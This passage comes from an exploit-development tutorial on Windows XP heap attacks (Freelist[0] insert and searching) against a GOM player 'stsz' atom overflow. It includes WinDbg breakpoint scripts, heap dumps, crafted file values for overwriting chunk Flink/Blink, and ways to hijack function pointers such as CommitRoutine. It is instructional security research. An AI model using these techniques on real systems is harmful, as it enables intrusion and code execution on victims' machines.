    bp ntdll**!** RtlFreeHeap "j ((poi(esp+4)==0x03200000) & (poi(esp+c)**!** =0)) '.printf \"RtlFreeHeap hHeap (0x%p), size=0x%p\\n\", poi(esp+c), wo(poi(esp+c)-8)*8-8; dc poi(esp+c); .echo; g'; 'g';"
    bp GSFU**!** DllUnregisterServer+0x236a9
[/code]

Now the first 2 breakpoints will output the size and location of allocations
and frees, but only for those chunks which belong to the private heap
0×0320000**.** Our final breakpoint will halt execution once our targeted
write function is hit**.** Using our OriginalSeed.mov , our non-mutated
version, let’s observe the application’s behavior in our debugger**.**

[code]

    RtlAllocateHeap hHEAP 0x03200000, size=0x100, chunk at 0x03207158
    RtlAllocateHeap hHEAP 0x03200000, size=0x14, chunk at 0x03207260
    RtlAllocateHeap hHEAP 0x03200000, size=0xec, chunk at **0x03207280**
    Breakpoint 2 hit
    eax=00000000 ebx=000000ec ecx=03207280 edx=000094b5 esi=0320716c edi=03207108
    eip=03b34989 esp=0012bdb4 ebp=03207158 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x236a9:
    03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:**03207280** =00000000
[/code]

Excellent**.** So here we can see that 3 chunks are allocated prior to write
instruction**.** The third chunk of course, is where our writes occur**.**
Earlier during our root cause analysis we were able to determine that we can
in fact control the size of this field by manipulating the value of our
“Number of Entries” element**.** Now if we were to investigate the contents of
the other two chunks after our vulnerable function completed, we would see
that the first chunk contains the entire “stsz” atom**.** We could also infer
this due to the requested allocation size of 0×100 bytes \(as our “stsz” atom
has it’s size field set to 0×100 as well\)**.** Our second chunk is
essentially a vtable containing pointers to various structures used by this
function**.** This is essentially the same chunk that we targeted during the
“Arbitrary Write” section above**.**

So with this we now know that we can control the size of at least 2 of our
allocated chunks**.** This is good as we’ll need a fair amount of control over
our allocations in order to properly manipulate the layout of
Freelist\[0\]**.** The next step is determine what is freed after our write
instruction occurs**.** To do so, I’ve deleted the breakpoint on our targeted
write**.** Also, for brevity I’ve only included the first free**.**

[code]

    RtlFreeHeap hHeap (0x03207158), size=0x00000100
    03207158  00010000 7a737473 00000000 00000000  ..**.**.stsz........
    03207168  3b000000 b5940000 d4520000 a8520000  ..**.** ;......R..**.** R.
    03207178  2c520000 7c520000 80520000 a4520000  ..R,..R|..R..**.** R.
    03207188  28530000 18530000 94520000 20530000  ..S(..S..**.** R...S 
    03207198  ac520000 28530000 e0510000 d0520000  ..R..**.** S(..Q...R**.**
    032071a8  88520000 e0520000 94520000 18530000  ..R..**.** R..**.** R...S.
    032071b8  14520000 14520000 5c520000 34520000  ..R..**.** R...R\..R4
    032071c8  08520000 d4510000 84510000 d8510000  ..R..**.** Q...Q...Q**.**
[/code]

Perfect\! Here we can see that the first chunk to be freed is the chunk
containing the entire “stsz”**.** As we control the size of this chunk, we can
also control where it’s linked**.** Now, it’s important to note that this
isn’t entirely necessary for the purpose of exploitation, however it is
beneficial if we can control what and when our chunk is inserted back into
Freelist\[0\] rather than blindly waiting for the application to do it for
us**.**

So with that, let’s put it all together**.** Let’s take one more look at the
structure of Freelist\[0\] prior to entering our vulnerable function**.**

[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8), Flink: 0x03207150
         ChunkPtr: 0x03207148, Header: 0x8 bytes, UserPtr: 0x03207150, Flink: 0x03208108, Blink: 0x03200178, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) 
         ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03207150, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) 
         ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300)
[/code]

Again, we can see that the first chunk has a size of 0x6B0 bytes**.** Now, the
goal here is to have the chunk where our write instructions, or where our
overflow begins, placed prior to a chunk on Freelist\[0\] so that we can
overwrite the metadata of one of these chunks**.** Then, we also want to
ensure that our “stsz” chunk, upon being freed, will be inserted into
Freelist\[0\]**.** Now we know that Freelist\[0\] manages all chunks
containing a size of 0×400 \(1024\) bytes or larger**.** So to ensure that our
“stsz” chunk is freed to Freelist\[0\], we must make it at least 400
bytes**.** In this example, I’ve chosen to set the “stsz” atom to 0×500
bytes**.** Next, in order to place the chunk containing our sample size table
at a location which will allows us to overwrite a Freelist\[0\] chunk header,
I’ve chosen to set the size to 0×400 bytes \(0×80000100 \* 4\)**.**

This might not make sense at first, however consider this**.** Our first
allocation, used to store our entire “stsz” atom, will request a 0×500 byte
chunk from Freelist\[0\]**.** This will leave our Freelist structure looking
as follows:

[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03200178, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) 
         ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) 
    [+] FreeList[53] at 0x03200320, Expected size: 0x1a8 (424)
         ChunkPtr: 0x03207650, Header: 0x8 bytes, UserPtr: 0x03207658, Flink: 0x03200320, Blink: 0x03200320, ChunkSize: 0x1a8 (424), Usersize: 0x1a8 (424)
[/code]

What’s this**?** We can see a that now we only have 2 entries in Freelist\[0\]
as well as a new entry in Freelist\[53\]**.** The reason for this is because
our first chunk in Freelist\[0\] had a size of 0x6B0 bytes**.** This is larger
than our allocation request of 0×500 bytes**.** This causes our first chunk to
be split. First, our 0×500 byte chunk will be returned to the application**.**
Then, as the remainder \(0x1B0\) is no longer big enough to meet the
requirements of Freelist\[0\], it will be moved and reclassified into
Freelist\[53\]**.**

Next, the application will receive our allocation request for 0×400 bytes
\(our sample size table\)**.** The heap manager will then look at the first
chunk belonging to Freelist\[0\], which is 0xF00 bytes**.** This chunk is
large enough, and as with our previous allocation, the chunk will be split and
0×400 bytes will be returned to the application**.** The remainder, 0xB00 is
large enough to remain on Freelist\[0\]**.** This will leave our Freelist
structure looking as follows:

[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x03208508, Header: 0x8 bytes, UserPtr: 0x03208510, Flink: 0x03205e08, Blink: 0x03200178, ChunkSize: 0xaf8 (2808), Usersize: 0xaf8 (2808) 
         ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208510, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) 
    [+] FreeList[49] at 0x03200300, Expected size: 0x188 (392)
         ChunkPtr: 0x03207670, Header: 0x8 bytes, UserPtr: 0x03207678, Flink: 0x03200300, Blink: 0x03200300, ChunkSize: 0x188 (392), Usersize: 0x188 (392)
[/code]

Therefore, our writes will begin at 0×0320810**.** After 0x40C bytes, the
Flink and Blink of the first chunk belonging to Freelist\[0\] will be
overwritten \(0×03208510\)**.** Next, our “stsz” atom which is 0×500 bytes in
length, will be freed, and inserted in to Freelist\[0\]**.** As 0×500 is
currently smaller than any other chunk belonging to Freelist\[0\], it will be
inserted at the top of the list, just prior to our overwritten chunk**.** This
will trigger ntdll\!RtlFreeHeap, during the insert process, to write our
chunk’s UserPtr \(0×03208510\) to an arbitrary location specified by our Blink
pointer**.**

[code]

    eax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000
    eip=7c9108ee esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200293
    ntdll**!** RtlFreeHeap+0x40e:
    **7c9108ee 8908            mov     dword ptr [eax],ecx  ds:0023:03207150=00050000 ; Write UserPtr of corrupted chunk to new chunk's Flink**
    eax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000
    eip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x410:
    **7c9108f0 895004          mov     dword ptr [eax+4],edx ds:0023:03207154=7a737473 ; Write corrupted Blink to new chunk's Blink**
    eax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000
    eip=7c9108f3 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x413:
    **7c9108f3 8902            mov     dword ptr [edx],eax  ds:0023:006a0db0=7e42ce12	; Write UserPtr of new chunk to arbitrary address (corrupted blink)**
    eax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000
    eip=7c9108f5 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
    ntdll**!** RtlFreeHeap+0x415:
    **7c9108f5 894104          mov     dword ptr [ecx+4],eax ds:0023:03208514=006a0db0 ; Update corrupted chunk's Blink with new chunk's UserPtr**
    eax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000
    eip=7c9108f8 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy
[/code]

To demonstrate this, I’ve included a proof of concept which can be found here
**.** This sample will overwrite the function pointer located at
0x006A0DB0\*\*\* with the UserPtr of the overwritten chunk**.** This sample
will NOT gain code execution. I have simply provided it to demonstrate the use
of this attack**.** A breakdown of the “stsz” atom layout can be found below:

> Why 0x006A0DB0**?** I simply chose the first writable function pointer in a
> GOM specific module that wasn’t rebased**.** As far as I know, this function
> pointer is not called after the execution of our semi-arbitrary write**.**
> Again, it is only used to demonstrate the ability to write the UserPtr of
> our inserted chunk at an arbitrary location**.**
[code]

    **Size:  0x00000500 (Causes allocation of 0x500 bytes)**
    Type:  0x7374737A (ASCII stsz) 
    Version:  0x00 
    Flags:  0x000000 
    Sample Size: 0x00000000
    **Number of Entries: 0x8000000100 (Causes allocation of 0x400 bytes)**
    Sample Size Table(1):  0x000094B5
    Sample Size Table(2):  0x000052D4
    ..**.**
    # Flink - File offset: 0x172B, Value: 0x41414141
    # Blink - File offset: 0x172F, Value: 0x006A0DB0
[/code]

> Please note: This proof of concept will trigger an access violation during a
> later allocation as the Flink has been set to a non-existent address
> \(0×41414141\)**.** Access violations due to heap corruption can be delayed
> by setting this to an address that is marked as READ\_WRITE**.**
After the “stsz” chunk has been inserted, we can see our newly written pointer
at 0x006A0DB0**.** Following that pointer, leads us back to our overwritten
chunk**.**

[code]

    0:000> dc 0x006A0DB0 L8
    006a0db0  **03207150** 00000001 0000c1b4 0000c1b3  Pq ............**.**
    006a0dc0  0000c1b2 0000c1b1 0000c1b0 0000c1af  ................
    
    0:000> dc 0x03207150 LC
    03207150  03208510 006a0db0 00000000 00000000  .. ..**.** j.........
    03207160  00010080 **41306141 61413161 33614132  ....Aa0Aa1Aa2Aa3**
    03207170  **41346141 61413561 37614136 41386141  Aa4Aa5Aa6Aa7Aa8A**
[/code]

And if we were to look at the assembled opcodes, we can see that they do not
represent valid assembly that won’t trigger an access violation**.** Using the
current memory layout, poi\(ebp+0x0DB00322\) will point to a non-existent
address, thus triggering an AV**.** If we had the ability to manipulate the
current memory layout using heap spraying techniques, we may be able to
overcome this issue, however, we do not currently have that luxury**.**

[code]

    0:000> u 03227150 
    **03227150 10852203b00d    adc     byte ptr [ebp+0DB00322h],al # This will likely trigger an access violation**
    03227156 6a00            push    0
    03227158 0000            add     byte ptr [eax],al
    0322715a 0000            add     byte ptr [eax],al
    0322715c 0000            add     byte ptr [eax],al
    0322715e 0000            add     byte ptr [eax],al
    03227160 800001          add     byte ptr [eax],1
    03227163 004161          add     byte ptr [ecx+61h],al
[/code]

##### Why Not**?**

Before moving on to the next generic exploitation technique, I’d like to leave
you with a few closing news in regards to why I didn’t choose this method of
exploitation**.**

First of all, exploitation occurs in a private heap**.** The addresses of
which are unpredictable. Because of this, gaining control over the flow of
execution would be unreliable as we cannot be certain the the Flink and Blink
will be assembled as executable opcodes**.** Furthermore, several techniques
rely on overwriting information within the Heap Base or Lookaside List
entries**.** Fellow Corelan member, mr\_me documented one such attack in his
tutorial Heap Overflows For Humans 102**.** 5 .

Unfortunately, as the base address of private heaps will likely change between
execution, the reliability of this technique is minimal \(in this particular
instance\)**.** I do believe that it is possible to use the Freelist\[0\]
Insert attack in order to gain code execution, however, great strides must be
made in order to make the heap state far more deterministic, or the location
of a semi-static lookup table must be identified**.** With this, I leave the
rest up to you. Good luck\!

#### Freelist\[0\] Searching Attack****

##### Overview****

The final tactic we’ll be discussing is the Freelist\[0\] Searching
attack**.** This is another attack devised by Brett Moore and first disclosed
publicly in his 2005 paper, Exploiting Freelist\[0\] on XPSP2 **.** This
attack involves, as the name would suggest, the manipulation of heap chunks
during an allocation search of the dedicated Freelist**.** More specifically,
when an allocation request is received, particularly one destined for
Freelist\[0\] \(greater than 1024 bytes\), the heap manager will first start
with the smallest chunk and continuing traversing the list until a chunk of
the appropriate size has been identified**.** This attack specifically relies
on manipulating the Flink pointer of a Freelist\[0\] heap chunk so that it
points at a fake heap chunk with the same size value \(+8 bytes to account for
the chunk header\) as that of the allocation request**.** The heap manager
will then attempt to unlink this fake chunk**.** Now although the fake chunk
will fail the safe unlink check \(most of the time\* – more on this in a
bit\), the pointer of the chunk will still be returned to the application**.**
If an attacker can control the contents of this allocation, they can
essentially perform an n-byte overwrite similar to the Lookaside List
Overwrite technique**.** To better explain this, let’s take a look at the
following example:

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000, Blink: 0x00167000
         ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x00166000, Blink: 0x00160178, ChunkSize: 0x555 (1365), Usersize: 0x555 (1365) 
         ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0xAAA (2730), Usersize: 0xAAA (2730) 
         ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x1000 (4096), Usersize: 0x1000 (4096)
[/code]

Here we can see that Freelist\[0\] has been populated with three entries, with
sizes of 0×555, 0xAAA, and 0×1000 bytes respectively**.** Now if a buffer
overflow were to occur into our first chunk, we would of course have the
ability to overwrite the chunk header**.** With that, let’s imagine that the
chunk header would be overwritten in such a way that the size field is set to
0×8 and that the Flink, for the time being is set to 0×41414141**.** This
would leave our structure looking as follows:

> Please note, that both the Size and PrevSize fields within a heap chunk’s
> metadata use blocks and not bytes**.** This means that if a size field has a
> value of 0×0001, this would represent 0×8 bytes as each block is 0×8
> bytes**.** Additionally, a size value of 0×0002 represents 0×16 bytes and so
> on**.**
[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000, Blink: 0x00167000
         ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x41414141, Blink: 0x00160178, ChunkSize: 0x8 (8), Usersize: 0x8 (8) 
         ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0xAAA (2730), Usersize: 0xAAA (2730)
         ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x1000 (4096), Usersize: 0x1000 (4096)
[/code]

Please note, as with our previously described techniques, in order for this to
work the address we overwrite Flink with must be valid and have READWRITE
access**.** Therefore, we’ll need to replace our value of 0×41414141 with a
pointer that is valid and exists at a region with READWRITE access**.**

Furthermore, I mentioned that the address we use to overwrite our Flink
pointer must also point to a location that represents a fake \(yet valid\)
valid heap chunk**.** All this really means is that 8 bytes prior to this
location exist and are readable and that 8 bytes after this address contain 2
readable pointers which would represent the Flink and Blink of our fake
chunk**.**

> There are some slight caveats to this description, but for now don’t worry
> about it as we’ll discuss them later in this section**.**
A semi-visual representation of this “fake” heap chunk can be found below:

[code]

    Self Size: Uint2B  -  Size of current chunk **# Must later match our requested allocation size (+1)**
    Previous Size: Uint2B  -  Size of previous Chunk # This field can be any value
    Chunk Cookie: Uint1B  -  Security Cookie # This field can be any value
    Chunk Flag: Uint1B # This field can be any value
    Unused: Uint1B # This field can be any value
    Segment Index: Uint1B # This field can be any value
    Flink: Ptr32  -  Pointer to next chunk in current list **# This value must be a valid pointer with READWRITE access**
    Blink: Ptr32  -  Pointer to prior chunk in current list **# This value must be a valid pointer with READWRITE access**
[/code]

Now the major obstacle we must overcome when trying to apply this type of
attack is to identify fake heap chunks that are located in a region where,
triggering an overwrite will be useful for us**.** The two options that we
will discuss are writable function pointers and pointers located in the \_HEAP
structure**.**

The reasoning behind using writable function pointers is obvious as successful
exploitation of this issue will cause the allocation request to return a
pointer to our writable function pointer**.** Then, as long as we are able to
control the control the contents of the function which requested this
allocation, we will be able to overwrite the function pointer with an
arbitrary value of our choosing**.** Therefore, gaining control over the
instruction pointer**.**

The reasoning behind overwriting portions of the \_HEAP structure, however,
are not so clear**.** To explain, I’d like to reiterate a concept discussed in
John McDonald and Chris Valasek’s 2009 paper, Practical Windows XP/2003 Heap
Exploitation **.** In their paper, they discuss a method of gaining control
over the instruction pointer by overwriting the CommitRoutine pointer located
at offset +0x57C in the heap base \(\_HEAP\)**.** This pointer is called by
the heap manager when an allocation request is received that is larger than
what is available and the heap needs to be extended \(via RtlExtendHeap\)**.**
So, if we can overwrite this pointer and trigger an allocation request that is
larger than the largest entry in Freelist\[0\], we can redirect the flow of
exection**.**

Now, in order to overwrite this pointer we must identify a region of the
\_HEAP structure which represents a valid heap chunk**.** Fortunately for us,
there are several**.**

As i mentioned in the Heap Basics section, the Freelist structure contains 128
list head entries, each of which correspond with a Freelist of a particular
size**.** If a Freelist contains free chunks, these list head entries
\(compromised of Flink and Blink pointers\) will point to the first and last
chunk on the list**.** If no entries exist for a Freelist, then the Flink and
Blink pointers will point back to themselves**.**

This means that these list head entries will always contain valid
pointers**.** This is useful in the fact that we can use these list head
entries as our fake heap chunks**.** For instance, consider the following
example which uses the list head of Freelist\[2\] as our fake chunk**.**

[code]

    0:000> dc 00160180 L4
    00160180  00160180 00160180 00160188 00160188  ................
    
    **Self Size: 0x180 (0xC00 bytes)**
    Previous Size: 0x16 (0xB0 bytes) # Value has no affect on this attack
    Chunk Cookie: 0x80 # Value has no affect on this attack
    Chunk Flag: 0x1 # Value has no affect on this attack
    Unused: 0x16 # Value has no affect on this attack
    Segment Index: 0x0 # Value has no affect on this attack
    **Flink: Ptr32  -  0x00160188**
    **Blink: Ptr32  - 0x00160188**
[/code]

Good**.** So here we can see that if we were to apply the data at 0×00160180
to the structure of a Freelist heap entry, it would represent a valid chunk of
0xC00 byes**.** With that, if we were to replace our 0×41414141 with the
UserPtr of this chunk, 0×00160188 \(remember that the UserPtr is located 8
bytes after the start of the chunk\), Freelist\[0\] would now have the
following structure**.**

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000, Blink: 0x00167000
         ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x00160180, Blink: 0x00160178, ChunkSize: 0x8 (8), Usersize: 0x8 (8) 
         ChunkPtr: 0x00160180, Header: 0x8 bytes, UserPtr: 0x00160188, Flink: 0x00160188, Blink: 0x00160188, ChunkSize: 0xC00 (3072), Usersize: 0xC00 (3072)
[/code]

With our Flink overwritten with a value that now points to a fake \(albeit
valid\) heap chunk, the trick here is that if we can control the size of the
next allocation request, particularly, if we can request a chunk of 0xBF8
\(\(0xC00-8\) we must subtract 0×8 bytes for the heap chunk’s header\), the
heap manager will return the pointer 0×00160180**.** Then, if we can write
0x3FC bytes \(0x0016057C-0×00160180\), we will overwrite the CommitRoutine
pointer**.**

The reason this happens is when the allocation request is received, the heap
manager will determine that 0xBF8 is larger than 0×400 \(1024 bytes\) and
begin searching Freelist\[0\]**.** It will first check that the last chunk in
the list is large enough to service this request**.** Now remember, although
we’ve essentially broken the chain maintained by our doubly-linked list, the
Freelist\[0\] list head will still contain a valid pointer to the last chunk
in our list, located at 0×00167000:

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000, Blink: 0x00167000
    ...truncated..**.**
         ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x1000 (4096), Usersize: 0x1000 (4096)
[/code]

Since the last chunk in our list is larger than our requested size of 0xBF8,
the heap manager will begin traversing the list, from smallest chunk to
largest in order to identify an appropriate chunk to service this allocation
request**.** It will begin with the first chunk which we’ve corrupted with our
overflow**.** Remember, we’ve modified the size of this chunk so that the heap
manager would believe it is only 0×8 bytes**.** As this is smaller than the
requested size, the heap manager will go to the next chunk by following the
Flink which we’ve manipulated to point to 0×00160180**.** It will then
retrieve the size of this chunk and determine that it is in fact large enough
to service our request**.**

The heap manager will then unlink this chunk**.** Funny enough, by using an
empty Freelist list head as our fake heap chunk, the safe unlink check is
passed**.** With this our chunk is successfully unlinked and a pointer to
0×00160180 is returned to the application**.** However, it’s important to note
that bypassing the safe unlink check is not necessary in order to utilize the
Freelist\[0\] searching attack in order to return an arbitrary pointer**.**
More on this in a bit**.**

> Unfortunately, this method may have some potential side affects**.** During
> the unlink procedure, the heap manager will modify the Blink of our fake
> heap chunk**.** In doing so, the heap manager will detect this difference
> and since the Flink and Blink do not both point to the list head, it will
> believe that a chunk now exists at this list**.** This may or may not affect
> exploitation**.**
Now what if we didn’t want to target the HEAP base structure**?** If
exploitation occurs within a private heap, the base address of this HEAP may
not be reliable**.** Another alternative would be to target a writable
function pointer**.** If we could find a writable function pointer that
resembled a valid heap chunk or data that resembled a valid heap chunk prior
to a writable function pointer, we could use force the heap manager to return
an arbitrary pointer to that location**.**

In order to identify potential heap chunks, corelanc0d3r recently implemented
a new feature into **\!** mona which allows us to identify function pointers,
or offsets to function pointers, which resemble valid heap chunks \(contains
readable Flink and Blink pointers\)**.** We’ll touch on this more in a bit
during the “Application Specific Technique” section**.**

Using the **\!** mona function described above, we’ve found a writable
function pointer which resembles a valid heap chunk in ntdll.dll:

[code]

    **0x7c97f10c** : 0x7c97f10c gets called from ntdll.dll at 0x7c9293ec (CALL DWORD PTR DS:[7C97F10C]) -  Chunksize: 864 (0x360), **UserPtr 0x7c97f10c** , Flink 0x7c812ef8, Blink 0x00260000 -  {PAGE_READWRITE}
[/code]

Let’s apply the heap chunk structure to this pointer:

[code]

    0:000> dc 7c97f104 L4
    00160180  00160180 00160180 00160188 00160188  ................
    
    **Self Size: 0x6C (0x360 bytes)**
    Previous Size: 0x6C (0xB0 bytes) # Value has no affect on this attack
    Chunk Cookie: 0x0 # Value has no affect on this attack
    Chunk Flag: 0x0 # Value has no affect on this attack
    Unused: 0x0 # Value has no affect on this attack
    Segment Index: 0x0 # Value has no affect on this attack
    **Flink: Ptr32  -  0x7c812ef8**
    **Blink: Ptr32  - 0x00260000**
[/code]

Good**.** Once again we see that we have what would represent a valid heap
chunk with a size of 0×360**.** With that, let’s assume that our Flink has
been overwritten with this UserPtr \(0x7C97F10C\)**.**

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8), Flink: 0x00165000, Blink: 0x00167000
         ChunkPtr: 0x7C97F104, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x7C97F10C, Blink: 0x00160178, ChunkSize: 0x8 (8), Usersize: 0x8 (8) 
         ChunkPtr: 0x00160180, Header: 0x8 bytes, UserPtr: 0x00160188, Flink: 0x00160188, Blink: 0x00160188, ChunkSize: 0x360 (864), Usersize: 0x360 (864)
[/code]

Now, if the application were to issue an allocation request of 0×358 bytes,
the heap manager would begin traversing the list**.** In this case, as our
request is under 0×400 \(1024 bytes\), it would begin checking from
Freelist\[108\], until the end**.** In this case, no other Freelists exist so
the heap manager would then check Freelist\[0\]**.** It would first check the
final chunk in Freelist\[0\] to ensure that there is in fact enough space
available to service the requst**.** As there is, the heap manager would then
begin traversing Freelist\[0\] from top to bottom**.** Again, the first chunk
with a size of 0×8 bytes is too small so it would follow this chunks Flink to
0x7C97F10C**.** As this chunk is in fact large enough to service the request,
the heap manager will attempt to unlink it**.**

However, in this case as the Flink has been corrupted and the doubly-linked
list is now broken, the safe unlink check will fail**.** Fortunately for us
this doesn’t mean much**.** The safe-unlink check only means that the chunks
pointed to by our Flink and Blink pointers will not be updated to account for
the unlink \(triggering the arbitrary 4-byte overwrite\)**.**

The heap manager will then call RtlReportHeapCorruption**.** This again does
not affect us as the purpose of this function is to output to the debugger, if
being debugged, that the heap chunk is corrupted**.** However, under Windows
XP, when heap corruption is reported, execution is continued**.** Under
Windows Vista and later, triggering heap corruption will actually terminate
the process**.**

As this is not the case, the allocation process will continue and the pointer
specified by our Flink will be returned**.** We can see the instructions
responsible for this behavior below:

[code]

    eax=7c97f104 ebx=00000000 ecx=0000006c edx=0f92fe20 esi=7c97f104 **edi=7c97f10c{ntdll**!** RtlpStartThreadFunc(7c97f10c)}**
    eip=7c911066 esp=0012bb3c ebp=0012bd5c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    ntdll**!** RtlAllocateHeap+0x41d:
    7c911066 897dd0          mov     dword ptr [ebp-30h],edi ss:0023:0012bd2c=00000000
    ..**.**
    eax=00000000 ebx=00000000 ecx=00000000 edx=04880608 esi=00000000 edi=00000000
    eip=7c9110ea esp=0012bb3c ebp=0012bd5c iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    ntdll**!** RtlAllocateHeap+0xe53:
    7c9110ea 8b45d0          mov     eax,dword ptr [ebp-30h] ss:0023:0012bd2c=**{ntdll**!** RtlpStartThreadFunc (7c97f10c)}**
[/code]

##### Application Specific Technique****

Now, to apply this technique to our GOM specific vulnerability**.** First,
let’s take a look at the heap at the start of our vulnerable function**.**

> Please note: We’re going to redo this section as the base address of this
> private heap varies widely**.** The addresses used here will not be the same
> as described above in the Freelist\[0\] insert attack**.**
[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x03207150, Header: 0x8 bytes, UserPtr: 0x03207158, Flink: 0x03208110, Blink: 0x03200178, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) 
         ChunkPtr: 0x03208108, Header: 0x8 bytes, UserPtr: 0x03208110, Flink: 0x03205e10, Blink: 0x03207158, ChunkSize: 0xef8 (3832), Usersize: 0xef8 (3832) 
         ChunkPtr: 0x03205e08, Header: 0x8 bytes, UserPtr: 0x03205e10, Flink: 0x03200178, Blink: 0x03208110, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300)
[/code]

Here we can see that Freelist\[0\] has been populated with 3 chunks with the
sizes 0x6B0, 0xF00, and 0x10D8 respectively**.** Now, as with the
Freelist\[0\] insert attack, we need to know what is allocated and freed prior
to an after our write instruction**.** Rather than reiterating each step of
the process, I’m simply going to list the results below:

[code]

    # Prior to write instruction:
    # Chunk containing entire "stsz" atom - RtlAllocateHeap hHEAP 0x03200000, size=0x100, chunk at 0x03207158
    # Pointer chunk - RtlAllocateHeap hHEAP 0x03200000, size=0x14, chunk at 0x03207260
    # Chunk used for our "sample size table" - RtlAllocateHeap hHEAP 0x03200000, size=0xec, chunk at 0x03207280
    
    # After write instruction:
    
    # RtlFreeHeap hHeap (0x03207158), size=0x00000100
      03207158  00010000 7a737473 00000000 00000000  ..**.**.stsz........
      03207168  3b000000 b5940000 d4520000 a8520000  ..**.** ;......R..**.** R.
      03207178  2c520000 7c520000 80520000 a4520000  ..R,..R|..R..**.** R.
    
    # Chunk containing pointer information - RtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207378
    # Chunk containing entire "stco" atom - RtlAllocateHeap hHEAP 0x03200000, size=0x8c, chunk at 0x032073c8
    # Chunk containing more pointer infomation - RtlAllocateHeap hHEAP 0x03200000, size=0x10, chunk at 0x03207460
    # Chunk containing expanded "chunk offset table" - RtlAllocateHeap hHEAP 0x03200000, size=0xf8, chunk at 0x03207478
    
    # RtlFreeHeap hHeap (0x032073c8), size=0x00000090
      032073c8  8c000000 6f637473 00000000 1f000000  ..**.**.stco........
      032073d8  d0140000 85a90000 014f0100 a9f30100  ..........O....**.**
      032073e8  cd980200 0d3f0300 c1e40300 958a0400  ......**?**.........
[/code]

Ok, good**.** So with this information we can begin formulating an attack**.**
Now we know that after our overwrite we need to be able to control the size
and contents of our next allocation**.** Unfortunately for us, it seems that
we cannot control the very next allocation at 0×04887378 with a size of 0×48
bytes**.** To rememedy this, we need to ensure that we free an object that is
0×48 bytes**.** As the chunk containing the “stsz” atom is the is freed
immediately before this allocation, we can simply change the size of this atom
to be 0×48 bytes**.** Then when our chunk is freed, the next allocation will
retrieve it**.**

> Please note that this chunk will be freed to the LAL rather than Freelists
Next, we need to trigger our overflow so that it only overwrites up to the
Flink of the first chunk in Freelist\[0\]**.** To do so, we’ll need to set the
size of our “number of entries” element to 0x8000000A**.** This will trigger
an allocation size of 0×28 bytes \(0x8000000A \* 4 == 0×28\)**.** And as the
“sample size table” is actually 0×34 bytes \(0×40-0xC for the “stsz” header
